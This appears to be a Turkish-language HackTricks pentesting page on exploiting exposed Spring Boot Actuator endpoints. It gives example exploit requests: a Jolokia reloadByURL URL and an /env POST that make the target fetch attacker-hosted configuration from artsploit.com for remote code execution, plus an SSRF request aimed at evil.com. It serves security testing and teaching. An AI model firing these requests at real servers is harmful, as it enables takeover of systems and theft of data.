hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

92 lines
5.8 KiB
Markdown
Raw Permalink Normal View History

2022-10-10 09:20:50 +00:00
# Spring Actuators
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2023-12-31 01:24:39 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
{% endhint %}
2022-04-28 16:01:33 +00:00
## **Spring Auth Bypass**
2023-03-02 18:08:43 +00:00
<figure><img src="../../.gitbook/assets/image (927).png" alt=""><figcaption></figcaption></figure>
2023-03-02 18:08:43 +00:00
**Kaynak** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
2020-10-15 10:27:50 +00:00
## Spring Boot Actuators'ı Sömürme
2020-10-15 10:27:50 +00:00
**Orijinal gönderiyi kontrol edin** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
2023-03-02 18:08:43 +00:00
2024-02-10 18:14:16 +00:00
### **Ana Noktalar:**
2020-10-15 10:27:50 +00:00
* Spring Boot Actuators, `/health`, `/trace`, `/beans`, `/env` gibi uç noktaları kaydeder. 1 ile 1.4 sürümleri arasında, bu uç noktalar kimlik doğrulama olmadan erişilebilir. 1.5 sürümünden itibaren yalnızca `/health` ve `/info` varsayılan olarak hassas değildir, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır.
* Belirli Actuator uç noktaları hassas verileri açığa çıkarabilir veya zararlı eylemlere izin verebilir:
* `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` ve `/heapdump`.
* Spring Boot 1.x'te, actuator'lar kök URL altında kaydedilirken, 2.x'te `/actuator/` temel yolu altındadır.
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
### **Sömürü Teknikleri:**
2020-10-15 10:27:50 +00:00
1. **'/jolokia' Üzerinden Uzaktan Kod Çalıştırma**:
* `/jolokia` actuator uç noktası, MBean'lere HTTP erişimi sağlayan Jolokia Kütüphanesini açığa çıkarır.
* `reloadByURL` eylemi, dış bir URL'den günlükleme yapılandırmalarını yeniden yüklemek için sömürülebilir; bu, kör XXE veya özel XML yapılandırmaları aracılığıyla Uzaktan Kod Çalıştırma ile sonuçlanabilir.
* Örnek sömürü URL'si: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **'/env' Üzerinden Yapılandırma Değişikliği**:
* Spring Cloud Kütüphaneleri mevcutsa, `/env` uç noktası çevresel özelliklerin değiştirilmesine izin verir.
* Özellikler, Eureka serviceURL'deki XStream deserialization açığını sömürmek gibi açıkları istismar etmek için manipüle edilebilir.
* Örnek sömürü POST isteği:
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Diğer Kullanışlı Ayarlar**:
* `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL enjeksiyonu veya veritabanı bağlantı dizelerini değiştirme gibi çeşitli sömürüler için manipüle edilebilir.
2020-10-15 10:27:50 +00:00
### **Ek Bilgiler:**
2020-10-15 10:27:50 +00:00
* Varsayılan actuator'ların kapsamlı bir listesi [burada](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) bulunabilir.
* Spring Boot 2.x'teki `/env` uç noktası, özellik değişikliği için JSON formatını kullanır, ancak genel kavram aynı kalır.
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
### **İlgili Konular:**
2020-10-15 10:27:50 +00:00
1. **Env + H2 RCE**:
* `/env` uç noktası ve H2 veritabanının kombinasyonunu sömürme detayları [burada](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) bulunabilir.
2. **Yanlış Yol Adı Yorumlaması Üzerinden Spring Boot'ta SSRF**:
* Spring çerçevesinin HTTP yol adlarındaki matris parametrelerini (`;`) ele alması, Sunucu Tarafı İstek Sahteciliği (SSRF) için sömürülebilir.
* Örnek sömürü isteği:
2020-10-15 10:27:50 +00:00
2024-02-10 18:14:16 +00:00
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>
{% endhint %}